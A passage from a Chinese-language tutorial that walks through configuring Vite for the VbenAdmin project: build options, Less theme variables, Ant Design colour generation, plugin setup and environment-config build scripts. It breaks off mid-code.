是否自動注入動態導入polyfill。\npolyfill會自動注入到每個index.html條目的代理模塊中。如果通過build.rollupOptions.input配置成使用非html的自定義條目，那麼就需要手動導入自定義條目中的polyfill：\n1 import \u0026#39;vite/dynamic-import-polyfill\u0026#39; 注意：polyfill不適用於庫模式。如果你需要支持沒有本地動態導入的瀏覽器，你可能應該避免在你的庫中使用它。\nVite使用ES動態導入作為代碼分割點。生成的代碼還將使用動態導入來加載異步塊。然而，本機ESM動態導入支持是在ESM之後通過腳本標記實現的，並且這兩個特性在瀏覽器支持方面存在差異。 Vite會自動注入一個輕量級的動態導入填充來消除這種差異。\n如果你知道你的目標瀏覽器只支持本機動態導入，你可以通過build.polyfillDynamicImport顯式禁用此特性。\n總之VbenAdmin中在生產環境將此項禁用了。如果打包後的項目有問題，而本地運行沒問題。那麼嘗試打開它，因為這個配置貌似和瀏覽器有關。\n創建全局常數 這個輸出路徑我們把它寫成一個全局常量。全局常量保存在：build\\constant.ts\nbuild\\constant.ts 1 2 3 4 5 6 /** * 在生产环境中输入的配置文件名称。 */ export const GLOB_CONFIG_FILE_NAME = \u0026#39;_app.config.js\u0026#39;; export const OUTPUT_DIR = \u0026#39;dist\u0026#39;; 然後在vite.config.ts中引用：\nvite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // ... import { OUTPUT_DIR } from \u0026#39;./build/constant\u0026#39;; // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... build: { outDir: OUTPUT_DIR, }, // ... }; }; Vite配置-build.terserOptions 說明 Vite配置-build.terserOptions說明\n官網原文：\n類型：TerserOptions 傳遞給 Terser 的更多 minify 選項。\n其他的配置項自行研究，這裡只註釋一下VbenAdmin配置的代碼。\nvite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... build: { // ... terserOptions: { compress: { keep_infinity: true, // 用於刪除生產環境中的console drop_console: VITE_DROP_CONSOLE, }, }, }, // ... }; }; compress：（默認{}）-通過false以完全跳過壓縮。傳遞一個對像以指定自定義壓縮選項。 compress.keep_infinity：（默認值：false）-通過true以防止Infinity被壓縮為1/0，這可能會導致Chrome出現性能問題。 compress.drop_console：（默認值：false）-傳遞true以放棄對console.*函數的調用 。如果您希望在刪除函數調用後刪除特定的函數調用，例如console.info和/或保留函數自變量的副作用，請pure_funcs改用。 Vite配置-build.brotliSize 說明 Vite配置-build.brotliSize說明\n官網原文：\n類型：boolean 默認：true 啟用/禁用 brotli 壓縮大小報告。壓縮大型輸出文件可能會很慢，因此禁用該功能可能會提高大型項目的構建性能。\n禁用就好。\n效果對比 打開壓縮報告：4.90s\n關閉壓縮報告：3.50s，少了後面一串壓縮大小，肯定更快啦。\nVite配置-build.chunkSizeWarningLimit 說明 Vite配置-build.chunkSizeWarningLimit說明\n官網原文：\n類型：number 默認：500 chunk 大小警告的限制（以 kbs 為單位）。\nLimitChunkCountPlugin\n在編寫代碼時，您可能已經添加了許多代碼拆分點以按需加載內容。編譯後，您可能會注意到一些塊太小了-造成更大的HTTP開銷。 LimitChunkCountPlugin可以通過合併來對您的塊進行後處理。\nVite配置-define 說明 Vite配置-define說明\n官網原文：\n類型： 1 Record\u0026lt;string, string\u0026gt; 定義全局變量替換方式。每項在開發時會被定義為全局變量，而在構建時則是靜態替換。\n從 2.0.0-beta.70 版本開始，字符串值將作為一個直接的表達式，所以如果定義為了一個字符串常量，它需要被顯式地引用（例如：通過 JSON.stringify）。 替換只會在匹配到周圍是單詞邊界（\\b）時執行。 使用 看一下vue-i18n的應用。\nvue-i18n的全局變量替換\n原文：\nBundler 構建功能標誌\nesm-bundler builds現在暴露了全局特性標誌，這些標誌可以在編譯時被覆蓋。\n__VUE_I18N_FULL_INSTALL__：啟用/禁用，除了vue-i18n APIs，組件和指令都完全支持安裝：true\n__VUE_I18N_LEGACY_API__：啟用/禁用vue-i18n傳統風格的API支持，默認為true\n__INTLIFY_PROD_DEVTOOLS__：在生產中啟用/禁用intlify-devtools和vue-devtools支持，默認為false\n在沒有配置這些標誌的情況下，編譯也能正常工作，但強烈建議正確配置這些標誌，以便在最終的bundle中獲得正確的樹形搖動。\n要配置這些標誌：\nwebpack: 使用 DefinePlugin Rollup: 使用 @rollup/plugin-replace Vite：默認配置，但可以使用define選項覆蓋 注意：替換值必須是布爾文，不能是字符串，否則bundler/minifier將無法正確評估條件。\n如此，就按照VbenAdmin的原代碼一樣配置吧。不然vue-i18n還會包警告，當然，現在我們還沒有安裝vue-i18n。後面配置國際化的時候再講。\nVite配置-css.preprocessorOptions 說明 Vite配置-css.preprocessorOptions說明\n官網原文：\n類型： 1 Record\u0026lt;string, object\u0026gt; 指定傳遞給 CSS 預處理器的選項。例如：\nvite.config.ts 1 2 3 4 5 6 7 8 9 export default { css: { preprocessorOptions: { scss: { additionalData: `$injectedColor: orange;` } } } } 安裝less 眾所周知Antd框架使用的是less。所以我們這裡研究less的配置。\n安裝less：\n1 yarn add less --dev VbenAdmin的全局樣式 在根目錄下的：src\\design文件夾中定義了VbenAdmin所有 全局樣式 和 全局less變量 。其中分為兩大類：\nsrc\\design\\index.less：全局樣式，在main.ts中使用。 src\\design\\config.less：全局變量，在vite.config.ts中使用。 至於該文件夾下的其他文件，都被直接或間接的引入到了index.less、config.less中。\n我們這邊直接拷貝文件夾就行了，樣式也沒啥研究的。如果有能力的可以把和index.less相關的文件都刪除了，然後自己寫關於VbenAdmin的樣式。\n但是變量不能動，很多都antd的變量，antd 的 less 變量參考連結。\n複製完之後，順便將index.less在main.ts中引用一下。\nVite中的Less配置 代碼配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... css: { preprocessorOptions: { less: { modifyVars: { // 用於全局導入，以避免需要單獨導入每個樣式文件。 // reference: 避免重複引用 hack: `true; @import (reference) \u0026#34;${resolve(\u0026#39;src/design/config.less\u0026#39;)}\u0026#34;;`, // ↓ 這行代碼下一章講 // ...generateModifyVars(), }, javascriptEnabled: true, }, }, }, // ... }; }; 代碼解析 less-@import規則 less-命令行語法 lessjs-配置項 lessjs-配置項-javascriptEnabled \u0026amp; modifyVars less-reference外文博客 css hack匯總 史上最全的CSS hack方式一覽 關於Less js的@import實驗 less對應的對象可以查看lessjs-配置項。\njavascriptEnabled: true這行代碼沒得說，畢竟antd的less文件中使用JS寫法，比如：\\node_modules\\ant-design-vue\\lib\\style\\color\\bezierEasing.less modifyVars是在全局less文件後面添加變量的配置。 modifyVars對應的對象屬性名會加上@追加到less文件後。 hack: true; @import (r...：這一行代碼，在less文件中會被解析成： 1 @hack=true; @import (reference) \u0026#34;${resolve(\u0026#39;src/design/config.less\u0026#39;)}\u0026#34;; 那這個hack變量是幹什麼的？我感覺啥也沒有，單純是為了將後面的@import接上的@import會報錯，只寫。這行代碼可以隨便寫，比如：\n1 2 3 // yiu: `red; @import (reference) \u0026#34;${resolve(\u0026#39;src/design/config.less\u0026#39;)}\u0026#34;;`, // ↓ 解析成,一樣的效果。 @yiu=red; @import (reference) \u0026#34;${resolve(\u0026#39;src/design/config.less\u0026#39;)}\u0026#34;;`, 我個人感覺這個hack和css hack單純名字一樣。至於reference，可以看一下關於Less js的@import實驗這篇博文即可理解。只是我個人疑惑為什麼這個import為什麼不寫在globalVars中。\nVite的顏色 說明 解析build\\config\\themeConfig.ts文件，直接創建這個文件。然後我們一段一段的分析：\n1 yarn add ant-design-vue@next 第一部分3-16行代碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // ↓ 默認顏色 export const primaryColor = \u0026#39;#0960bd\u0026#39;; // ↓ 默認主題 export const themeMode = \u0026#39;light\u0026#39;; // ↓ 主題類型 export type ThemeMode = \u0026#39;dark\u0026#39; | \u0026#39;light\u0026#39;; // ↓ 一個解決臨時檢查的方法類型 type Fn = (...arg: any) =\u0026gt; any; // ↓ Vite生成顏色組的方法參數，顏色這一塊有點深奧了，不做細的研究，感興趣的同學自己看看源碼吧 export interface GenerateColorsParams { mixLighten: Fn; mixDarken: Fn; tinycolor: any; color?: string; } 第二部分18-22行代碼 1 2 3 4 5 6 7 import { generate } from \u0026#39;@ant-design/colors\u0026#39;; export function generateAntColors(color: string, mode: ThemeMode) { return generate(color, { theme: mode == \u0026#39;dark\u0026#39; ? \u0026#39;dark\u0026#39; : \u0026#39;default\u0026#39;, }); } 調用的@ant-design/colors的顏色生成方法，將參數簡化了一下。\n參考連結：\n@ant-design/colors的npm首頁 Ant Design Colors首頁 Ant Design 色板生成算法演進之路 第三部分24-32行代碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 export function getThemeColors(color?: string, theme?: ThemeMode) { const tc = color || primaryColor; const tm = theme || themeMode; // ↓ 傳入的顏色根據主題生成10個顏色系列 const colors = generateAntColors(tc, tm); // ↓ 取10個顏色的第6個作為主顏色 const primary = colors[5]; // ↓ 再使用主顏色根據主題生成10個顏色系列 const modeColors = generateAntColors(primary, tm === \u0026#39;dark\u0026#39; ? \u0026#39;light\u0026#39; : \u0026#39;dark\u0026#39;); // ↓ 輸出這20個顏色 return [...colors, ...modeColors]; } 第四部分34-71行代碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 export function generateColors({ color = primaryColor, mixLighten, mixDarken, tinycolor, }: GenerateColorsParams) { const arr = new Array(19).fill(0); const lightens = arr.map((t, i) =\u0026gt; { return mixLighten(color, i / 5); }); const darkens = arr.map((t, i) =\u0026gt; { return mixDarken(color, i / 5); }); const alphaColors = arr.map((t, i) =\u0026gt; { return tinycolor(color) .setAlpha(i / 20) .toRgbString(); }); const tinycolorLightens = arr .map((t, i) =\u0026gt; { return tinycolor(color) .lighten(i * 5) .toHexString(); }) .filter((item) =\u0026gt; item !== \u0026#39;#ffffff\u0026#39;); const tinycolorDarkens = arr .map((t, i) =\u0026gt; { return tinycolor(color) .darken(i * 5) .toHexString(); }) .filter((item) =\u0026gt; item !== \u0026#39;#000000\u0026#39;); return [...lightens, ...darkens, ...alphaColors, ...tinycolorDarkens, ...tinycolorLightens]; } 這裡直接根據顏色生成了98中顏色。我確實不太清楚這個麼多顏色幹什麼的。調用效果參考build\\vite\\plugin\\theme.ts（現在先不管這個文件）：\nbuild/vite/plugin/theme.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /** * Vite plugin for website theme color switching * https://github.com/anncwb/vite-plugin-theme */ import { viteThemePlugin, mixLighten, mixDarken, tinycolor } from \u0026#39;vite-plugin-theme\u0026#39;; import { getThemeColors, generateColors } from \u0026#39;../../config/themeConfig\u0026#39;; export function configThemePlugin() { const colors = generateColors({ mixDarken, mixLighten, tinycolor, }); // ... } #0960bd生成的顏色：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 console.log([...lightens, ...darkens, ...alphaColors, ...tinycolorDarkens, ...tinycolorLightens]); // ↓ 輸出 [ \u0026#39;#0960bd\u0026#39;, \u0026#39;#3a80ca\u0026#39;, \u0026#39;#6ba0d7\u0026#39;, \u0026#39;#9dbfe5\u0026#39;, \u0026#39;#cedff2\u0026#39;, \u0026#39;#ffffff\u0026#39;, \u0026#39;#13011f10c\u0026#39;, \u0026#39;#16113f119\u0026#39;, \u0026#39;#19315e127\u0026#39;, \u0026#39;#1c417e134\u0026#39;, \u0026#39;#1f519e141\u0026#39;, \u0026#39;#2261be14e\u0026#39;, \u0026#39;#2571de15b\u0026#39;, \u0026#39;#2891fd169\u0026#39;, \u0026#39;#2ba21d176\u0026#39;, \u0026#39;#2eb23d183\u0026#39;, \u0026#39;#31c25d190\u0026#39;, \u0026#39;#34d27d19d\u0026#39;, \u0026#39;#37f29c1ab\u0026#39;, \u0026#39;#0960bd\u0026#39;, \u0026#39;#074d97\u0026#39;, \u0026#39;#053a71\u0026#39;, \u0026#39;#04264c\u0026#39;, \u0026#39;#021326\u0026#39;, \u0026#39;#000000\u0026#39;, \u0026#39;#-2-13-26\u0026#39;, \u0026#39;#-4-26-4c\u0026#39;, \u0026#39;#-5-3a-71\u0026#39;, \u0026#39;#-7-4d-97\u0026#39;, \u0026#39;#-9-60-bd\u0026#39;, \u0026#39;#-b-73-e3\u0026#39;, \u0026#39;#-d-86-109\u0026#39;, \u0026#39;#-e-9a-12e\u0026#39;, \u0026#39;#-10-ad-154\u0026#39;, \u0026#39;#-12-c0-17a\u0026#39;, \u0026#39;#-14-d3-1a0\u0026#39;, \u0026#39;#-16-e6-1c6\u0026#39;, \u0026#39;#-17-fa-1eb\u0026#39;, \u0026#39;rgba(9, 96, 189, 0)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.05)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.1)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.15)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.2)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.25)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.3)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.35)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.4)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.45)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.5)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.55)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.6)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.65)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.7)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.75)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.8)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.85)\u0026#39;, \u0026#39;rgba(9, 96, 189, 0.9)\u0026#39;, \u0026#39;#0960bd\u0026#39;, \u0026#39;#0854a5\u0026#39;, \u0026#39;#07478c\u0026#39;, \u0026#39;#063b74\u0026#39;, \u0026#39;#042f5c\u0026#39;, \u0026#39;#032243\u0026#39;, \u0026#39;#02162b\u0026#39;, \u0026#39;#010913\u0026#39;, \u0026#39;#0960bd\u0026#39;, \u0026#39;#0a6cd5\u0026#39;, \u0026#39;#0b79ee\u0026#39;, \u0026#39;#1e86f4\u0026#39;, \u0026#39;#3793f5\u0026#39;, \u0026#39;#4fa0f7\u0026#39;, \u0026#39;#67adf8\u0026#39;, \u0026#39;#80baf9\u0026#39;, \u0026#39;#98c7fa\u0026#39;, \u0026#39;#b0d4fb\u0026#39;, \u0026#39;#c9e2fc\u0026#39;, \u0026#39;#e1effe\u0026#39;, \u0026#39;#f9fcff\u0026#39; ] console.log( [...lightens, ...darkens, ...alphaColors, ...tinycolorDarkens, ...tinycolorLightens].length ); // ↓ 輸出 78 第五部分73-104行代碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 /** * less global variable */ export function generateModifyVars() { const palettes = generateAntColors(primaryColor, themeMode); const primary = palettes[5]; const primaryColorObj: Record\u0026lt;string, string\u0026gt; = {}; for (let index = 0; index \u0026lt; 10; index++) { primaryColorObj[`primary-${index + 1}`] = palettes[index]; } return { \u0026#39;primary-color\u0026#39;: primary, ...primaryColorObj, \u0026#39;info-color\u0026#39;: primary, \u0026#39;processing-color\u0026#39;: primary, \u0026#39;success-color\u0026#39;: \u0026#39;#55D187\u0026#39;, // Success color \u0026#39;error-color\u0026#39;: \u0026#39;#ED6F6F\u0026#39;, // False color \u0026#39;warning-color\u0026#39;: \u0026#39;#EFBD47\u0026#39;, // Warning color \u0026#39;disabled-color\u0026#39;: \u0026#39;rgba(0, 0, 0, 0.25)\u0026#39;, // Failure color \u0026#39;heading-color\u0026#39;: \u0026#39;rgba(0, 0, 0, 0.85)\u0026#39;, // Title color \u0026#39;text-color\u0026#39;: \u0026#39;rgba(0, 0, 0, 0.85)\u0026#39;, // Main text color \u0026#39;text-color-secondary\u0026#39;: \u0026#39;rgba(0, 0, 0, 0.45)\u0026#39;, // Subtext color \u0026#39;font-size-base\u0026#39;: \u0026#39;14px\u0026#39;, // Main font size \u0026#39;box-shadow-base\u0026#39;: \u0026#39;0 2px 8px rgba(0, 0, 0, 0.15)\u0026#39;, // Floating shadow \u0026#39;border-color-base\u0026#39;: \u0026#39;#d9d9d9\u0026#39;, // Border color, \u0026#39;border-radius-base\u0026#39;: \u0026#39;2px\u0026#39;, // Component/float fillet \u0026#39;link-color\u0026#39;: primary, // Link color }; } 這個方法就是生成antd主題變量對象的。將該對象的結果放到Vite的less配置中：\nvite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // ... import { generateModifyVars } from \u0026#39;./build/config/themeConfig\u0026#39;; // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... css: { preprocessorOptions: { less: { modifyVars: { // ... ...generateModifyVars(), }, // ... }, }, }, // ... }; }; Vite配置-plugin 說明 Vite配置-plugin說明\n官網原文：\n類型： 1 (Plugin | Plugin[])[] 將要用到的插件數組。查看 插件 API 獲取 Vite 插件的更多細節。\n配置插件 它接收一個插件對象，或者一個插件數組。由於我們需要配置很多插件，而每一個插件的配置也不一樣，所以我們把插件數組封裝到一個方法中去。統一配置VbenAdmin的插件。\n創建生成插件數組方法 build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 import type { Plugin } from \u0026#39;vite\u0026#39;; import type { ViteEnv } from \u0026#39;../../utils\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { const { VITE_USE_IMAGEMIN, VITE_USE_MOCK, VITE_LEGACY, VITE_BUILD_COMPRESS } = viteEnv; const vitePlugins: (Plugin | Plugin[])[] = []; return vitePlugins; } 後續配置vitePlugins這個數組。\n配置Vite插件 vite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 // ... import { createVitePlugins } from \u0026#39;./build/vite/plugin\u0026#39;; // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... // 項目使用的vite插件。數量大，單獨提取管理 plugins: createVitePlugins(viteEnv, isBuild), // ... }; }; Vite插件-@vitejs-plugin-vue 說明 @vitejs/plugin-vue的npm首頁\n要編寫Vue程序，這個不用解釋了吧，在使用Vite創建應用程序的時候，這個依賴就已經默認加上了。\n引入組件 vue插件不用配置，可以直接放進去。\nbuild/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 // ... import vue from \u0026#39;@vitejs/plugin-vue\u0026#39;; // ... export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { // ... const vitePlugins: (Plugin | Plugin[])[] = [vue()]; // ... return vitePlugins; } Vite插件-@vitejs-plugin-vue-jsx 說明 為什麼使用JSX？\n其實JSX的效果和我們在vue的template中寫的代碼效果是一樣的。最終都會被渲染成createElement。 區別是template的標籤是不可變的，我們要實現動態標籤，只能使用v-if。而JSX的最大特點就是靈活，我們可以隨意組裝HTML代碼。 假如我們要實現一個組件渲染\u0026lt;hn\u0026gt;\u0026lt;/hn\u0026gt;標籤，n是我們傳入的參數。如果用template，那麼我們要寫6個v-if。但是如果使用JSX，我們就可以直接將n放到標籤中去。\n參考連結 @vitejs/plugin-vue-jsx的npm首頁 Vue-JSX Vue- JSX 中的用法 Vue-setup中使用JSX Vue-模板語法 安裝 1 yarn add @vitejs/plugin-vue-jsx --dev vue-jsx插件不用配置，可以直接放進去。\nbuild/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 // ... import vueJsx from \u0026#39;@vitejs/plugin-vue-jsx\u0026#39;; // ... export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { // ... const vitePlugins: (Plugin | Plugin[])[] = [vue(),vueJsx()]; // ... return vitePlugins; } Vite插件-@vitejs-plugin-legacy 說明 原文描述：\n注：此插件需要vite@^2.0.0-beta.12。\nVite默認的瀏覽器支持基線是原生ESM。本插件為不支持原生ESM的傳統瀏覽器提供支持。\n默認情況下，該插件將為最終bundle中的每個chunk生成一個相應的legacy chunk，用@babel/reset-env進行轉換，並以SystemJS模塊的形式發布（仍然支持代碼分割！）。\n生成一個包含SystemJS運行時的polyfill chunk，以及由指定的瀏覽器目標和捆綁包中的實際使用情況決定的任何必要的polyfills。\n在生成的HTML中註入\u0026lt;script nomodule\u0026gt;標籤，以便在沒有本地ESM支持的瀏覽器中有條件地加載polyfills和legacy bundle。\n注入 import.meta.env.LEGACY env 變量，該變量僅在 legacy 生產構建中為真，而在所有其他情況下為假。(需要vite@^2.0.0-beta.69)。\n所以這個是一個瀏覽器兼容的插件。我們直接安裝使用，個人感覺學習的話也用不上。\n參考連結 @vitejs/plugin-legacy的npm首頁 安裝 1 yarn add @vitejs/plugin-legacy --dev VbenAdmin配置build/vite/plugin/index.ts： build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 // ... import legacy from \u0026#39;@vitejs/plugin-legacy\u0026#39;; // ... export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { // ... // @vitejs/plugin-legacy VITE_LEGACY \u0026amp;\u0026amp; isBuild \u0026amp;\u0026amp; vitePlugins.push(legacy()); // ... return vitePlugins; } Vite插件-vite-plugin-html 說明 原文描述：\n一個為index.html提供minify和基於EJS模板功能的Vite插件。\nminify：壓縮index.html代碼。 EJS：給index.html提供訪問變量的能力。 參考連結 vite-plugin-html的npm首頁 安裝 1 yarn add vite-plugin-html --dev 創建配置文件 build/vite/plugin/html.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 /** * Plugin to minimize and use ejs template syntax in index.html. * https://github.com/anncwb/vite-plugin-html */ import type { Plugin } from \u0026#39;vite\u0026#39;; import type { ViteEnv } from \u0026#39;../../utils\u0026#39;; import html from \u0026#39;vite-plugin-html\u0026#39;; import pkg from \u0026#39;../../../package.json\u0026#39;; import { GLOB_CONFIG_FILE_NAME } from \u0026#39;../../constant\u0026#39;; export function configHtmlPlugin(env: ViteEnv, isBuild: boolean) { const { VITE_GLOB_APP_TITLE, VITE_PUBLIC_PATH } = env; // ↓ 這里後續章動態配置講解 // const path = VITE_PUBLIC_PATH.endsWith(\u0026#39;/\u0026#39;) ? VITE_PUBLIC_PATH : `${VITE_PUBLIC_PATH}/`; // const getAppConfigSrc = () =\u0026gt; { // return `${path || \u0026#39;/\u0026#39;}${GLOB_CONFIG_FILE_NAME}?v=${pkg.version}-${new Date().getTime()}`; // }; const htmlPlugin: Plugin[] = html({ minify: isBuild, inject: { // Inject data into ejs template injectData: { title: VITE_GLOB_APP_TITLE, }, // ↓ 這里後續章動態配置講解 // tags: isBuild // ? [ // { // tag: \u0026#39;script\u0026#39;, // attrs: { // src: getAppConfigSrc(), // }, // }, // ] // : [], }, }); return htmlPlugin; } 配置Vite插件 build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 // ... import { configHtmlPlugin } from \u0026#39;./html\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { // ... // vite-plugin-html vitePlugins.push(configHtmlPlugin(viteEnv, isBuild)); // ... } 補充 做完本章操作之後，我突然發現項目不能編譯了。\n總是報package.json找不到。我看了一下代碼，主要就是build\\vite\\plugin\\html.ts中的導入無法找到。\n我反復對比了一下VbenAdmin的源碼。也沒有發現有什麼不同的地方。\n然後我又試了一下，當執行vite命令的時候，build文件夾下始終不能訪問package.json。但是src和vite.config.ts中都可以導入訪問。\n那麼這裡有兩種講解方案：\n去掉導入 這裡的導入只是我們在使用_app.config.js的時候加上一個版本信息。可以讓我們知道這個項目是多久打包的，打包的時候版本是多少。所以去掉也無妨，_app.config.js還是一樣可以訪問的。\n從vite.config.ts中傳參下去 我使用了這個方案，因為萬一build文件夾其他地方要用package.json呢。不過用的地方應該也很少吧。\n修改vite.config.ts：\nvite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 // ... import pkg from \u0026#39;./package.json\u0026#39;; // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... // The vite plugin used by the project. The quantity is large, so it is separately extracted and managed plugins: createVitePlugins(viteEnv, isBuild, pkg), // ... }; }; 修改build/vite/plugin/index.ts：\nbuild/vite/plugin/index.ts 1 2 3 4 5 6 7 // ... export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... vitePlugins.push(configHtmlPlugin(viteEnv, isBuild, pkg)); return vitePlugins; } 修改build/vite/plugin/html.ts：\nbuild/vite/plugin/html.ts 1 2 3 4 5 6 7 8 9 10 11 // ... import html from \u0026#39;vite-plugin-html\u0026#39;; export function configHtmlPlugin(env: ViteEnv, isBuild: boolean, pkg: any) { // ... const getAppConfigSrc = () =\u0026gt; { return `${path || \u0026#39;/\u0026#39;}${GLOB_CONFIG_FILE_NAME}?v=${pkg.version}-${new Date().getTime()}`; }; // ... return htmlPlugin; } 完善build的utils.ts 說明 完善build\\utils.ts文件。\n第一部分 除了這個process，應該也沒有要解釋的吧。\nNode中文文檔-process\nbuild/utils.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 export function isDevFn(mode: string): boolean { return mode === \u0026#39;development\u0026#39;; } export function isProdFn(mode: string): boolean { return mode === \u0026#39;production\u0026#39;; } /** * Whether to generate package preview */ export function isReportMode(): boolean { return process.env.REPORT === \u0026#39;true\u0026#39;; } 安裝dotenv dotenv依賴的作用：從.evn文件流Buffer中讀取屬性輸出一個對象。\n那麼和我們之前的加載環境變量的區別：\nVite的loadEnv()：這個方法Vite的官網上貌似沒有開放，而且獲取的文件是指定的，獲取的對象需要我們自己格式化一下。 Vben的wrapperEnv()：這是一個格式化環境變量的方法。 dotenv：是一個依賴，其功能不僅僅是獲取環境變量，當然我們目前只用它來獲取指定的.env文件。 dotenv的npm首頁\n1 yarn add dotenv --dev 第二部分 Node中文文檔-fs Node中文文檔-path dotenv的npm首頁 build/utils.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import fs from \u0026#39;fs\u0026#39;; import path from \u0026#39;path\u0026#39;; import dotenv from \u0026#39;dotenv\u0026#39;; /** * Get the environment variables starting with the specified prefix * @param match prefix * @param confFiles ext */ export function getEnvConfig(match = \u0026#39;VITE_GLOB_\u0026#39;, confFiles = [\u0026#39;.env\u0026#39;, \u0026#39;.env.production\u0026#39;]) { let envConfig = {}; // ↓ 循環文件名 confFiles.forEach((item) =\u0026gt; { try { // ↓ 同步讀取根目錄下指定的文件，將讀取的六傳入dotenv輸出對象 const env = dotenv.parse(fs.readFileSync(path.resolve(process.cwd(), item))); // ↓ 將新獲取的對象追加到結果中，相同的覆蓋 envConfig = { ...envConfig, ...env }; } catch (error) {} }); // ↓ 檢查輸出結果 Object.keys(envConfig).forEach((key) =\u0026gt; { // ↓ 如果不是以傳入的match變量開的就直接刪除 const reg = new RegExp(`^(${match})`); if (!reg.test(key)) { Reflect.deleteProperty(envConfig, key); } }); return envConfig; } /** * Get user root directory * @param dir file path */ export function getRootPath(...dir: string[]) { return path.resolve(process.cwd(), ...dir); } Vben的獲取配置文件名的方法 build/getConfigFileName.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 /** * Get the configuration file variable name * @param env */ export const getConfigFileName = (env: Record\u0026lt;string, any\u0026gt;) =\u0026gt; { return ( `__PRODUCTION__${env.VITE_GLOB_APP_SHORT_NAME || \u0026#39;__APP\u0026#39;}__CONF__` // ↓ 換成大寫 .toUpperCase() // ↓ 將空白換成空字符串 .replace(/\\s/g, \u0026#39;\u0026#39;) ); }; Vben動態配置環境變量 說明 前面章節中，我們在build\\vite\\plugin中註釋一段index.html中插入的script段。這一段script是用於Vben的動態配置環境變量的。\n當你打包完項目之後，你的項目的環境變量就不可以變了。此時如果你想修改一下項目的基礎API路徑，那麼你需要修改.env文件，然後再次打包一遍。這麼做很麻煩。所以VbenAdmin將環境變量抽離出來。\n當你的項目打包完成之後，如果你還想修改環境變量，那麼可以直接修改dist包下的_app.config.js文件。\n下面看實現。\n安裝fs-extra 1 yarn add fs-extra @types/fs-extra --dev fs-extra的npm首頁：fs-extra添加本機fs模塊中未包含的文件系統方法。\n編寫生成配置文件的程序 Node-Api-fs\nbuild/script/buildConf.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 /** * Generate additional configuration files when used for packaging. The file can be configured with some global variables, so that it can be changed directly externally without repackaging */ import { GLOB_CONFIG_FILE_NAME, OUTPUT_DIR } from \u0026#39;../constant\u0026#39;; import fs, { writeFileSync } from \u0026#39;fs-extra\u0026#39;; import chalk from \u0026#39;chalk\u0026#39;; import { getRootPath, getEnvConfig } from \u0026#39;../utils\u0026#39;; import { getConfigFileName } from \u0026#39;../getConfigFileName\u0026#39;; import pkg from \u0026#39;../../package.json\u0026#39;; function createConfig( { // ↓ windows對像下的存儲配置的屬性名 configName, // ↓ 存儲配置的對象 config, // ↓ JS文件名 configFileName = GLOB_CONFIG_FILE_NAME, }: { configName: string; config: any; configFileName?: string } = { configName: \u0026#39;\u0026#39;, config: {} } ) { try { // ↓ 變量字符串 const windowConf = `window.${configName}`; // Ensure that the variable will not be modified // ↓ 